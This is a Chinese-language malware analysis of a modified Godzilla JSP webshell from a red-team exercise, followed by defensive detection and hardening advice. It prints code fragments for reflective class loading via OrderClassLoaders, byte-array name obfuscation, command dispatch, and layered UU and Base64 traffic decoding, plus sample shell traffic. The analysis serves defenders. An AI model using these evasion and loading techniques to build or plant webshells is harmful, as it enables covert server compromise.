实战分析某红队魔改哥斯拉Webshell
字数 1247 2025-08-27 12:33:31
魔改哥斯拉WebShell实战分析与防御指南
一、样本概述
1.1 样本背景
- 该样本是从某次红队演习中获取的WebShell
- 基于Godzilla(哥斯拉)进行深度魔改
- 通信流量未触发任何安全告警
- 在免杀和绕过WAF/IDS方面表现优异
1.2 样本特征
- JSP格式的WebShell
- 使用多重编码混淆(Unicode、字节数组等)
- 硬编码恶意类字节码(Base64编码)
- 采用非传统加密方式的流量混淆
- 利用
com.sun.jmx.remote.util.OrderClassLoaders加载恶意类
二、技术分析
2.1 免杀实现机制
2.1.1 类加载机制
// 使用OrderClassLoaders而非自定义ClassLoader
Class PB = Class.forName("com.sun.jmx.remote.util.OrderClassLoaders");
java.lang.reflect.Constructor c = PB.getDeclaredConstructor(new Class[]{ClassLoader.class, ClassLoader.class});
c.setAccessible(true);
Object tadfasf = Thread.currentThread().getContextClassLoader();
Object d = c.newInstance(new Object[]{tadfasf, tadfasf});
// 反射调用defineClass方法
java.lang.reflect.Method lll = PB.getSuperclass().getDeclaredMethod("defineClass",
new Class[]{byte[].class, int.class, int.class});
lll.setAccessible(true);
Class zz = (Class) lll.invoke(d, new Object[]{var2, 0, var2.length});
2.1.2 混淆技术
- 关键类名和方法名使用字节数组编码:
new String(new byte[]{46, 115, 117, 110, 46, 111, 114, 103}) // ".sun.org" - 插入Unicode空白符混淆
- 使用JSP标签而非纯Java代码
2.2 命令执行机制
2.2.1 执行流程
- 实例化恶意类
- 调用
equals方法处理输入("解密"流量) - 调用
toString方法执行命令并返回结果("加密"响应)
2.2.2 核心恶意类方法
// 命令执行入口
public byte[] run() {
String className = this.get("evalClassName");
String methodName = this.get("methodName");
if (methodName != null) {
if (className == null) {
// 直接调用方法
} else {
// 通过反射调用指定类的方法
Class clazz = (Class) this.sessionMap.get(className);
Object instance = clazz.newInstance();
instance.equals(this.parameterMap);
instance.toString();
return (byte[]) this.parameterMap.get("result");
}
}
return "method is null".getBytes();
}
2.3 流量混淆机制
2.3.1 请求处理流程
- 提取请求参数值
- 替换特定字符(如'm'→'%')
- URL解码
- 多层解码处理:
// 字符替换 todecode = todecode.replaceAll("b", "\n") .replaceAll("a", "=") .replaceAll("c", "&") // ...其他替换规则 // UU解码 byte[] uu_tmp = Uudecode(todecode.getBytes()); // Base64解码 var1 = base64Decode((new String(uu_tmp)).substring(13));
2.3.2 响应处理流程
- 执行命令获取原始结果
- GZIP压缩结果
- 添加ZIP文件头(PK...)
- 通过输出流返回
2.4 通信示例
请求示例
POST /shell.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
password=test&action=login&token=abc123&data=begin+644+encoder.buf...
响应示例
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=1621234567890.zip
PK...<GZIP压缩的命令结果>...
三、防御方案
3.1 检测方案
静态检测
- 检测异常JSP标签使用
- 识别多重编码特征(Base64+UUencode)
- 查找
OrderClassLoaders的异常使用 - 检测硬编码的字节数组类名
动态检测
- 监控异常的
defineClass调用 - 检测无加密但结构复杂的HTTP流量
- 分析异常的响应头(如伪造的ZIP文件)
3.2 防护建议
-
代码层面
- 禁用危险的JSP标签
- 限制反射操作权限
- 监控ClassLoader的异常行为
-
网络层面
- 深度解析HTTP参数(不只是键值对)
- 检测异常的字符替换模式
- 监控异常的Content-Disposition响应头
-
管理层面
- 定期更新WebShell特征库
- 加强文件上传检测
- 实施严格的权限控制
四、技术总结
-
免杀创新点
- 抛弃传统加密,采用多层编码混淆
- 利用系统类
OrderClassLoaders替代自定义ClassLoader - 多重编码混淆关键代码
-
流量隐蔽性
- 模拟正常业务参数(password/token等)
- 使用少见编码方式(UUencode)
- 响应伪装成ZIP文件
-
对抗启示
- 传统加密WebShell已可被有效检测
- 编码混淆可能比加密更具隐蔽性
- 安全设备需结合静态+动态+行为分析
五、附录
关键类结构
public class SimpleVer extends ClassLoader {
// 核心方法
public boolean equals(Object var1) { /* 处理输入 */ }
public String toString() { /* 执行命令并返回 */ }
public byte[] run() { /* 命令执行入口 */ }
public void formatParameter() { /* 流量解码 */ }
// 功能方法
public byte[] getBasicsInfo() { /* 获取系统信息 */ }
public byte[] include() { /* 动态加载类 */ }
public static byte[] Uudecode() { /* UU解码 */ }
}
编码对照表
| 编码字符 | 实际字符 |
|---|---|
| a | = |
| b | \n |
| c | & |
| ... | ... |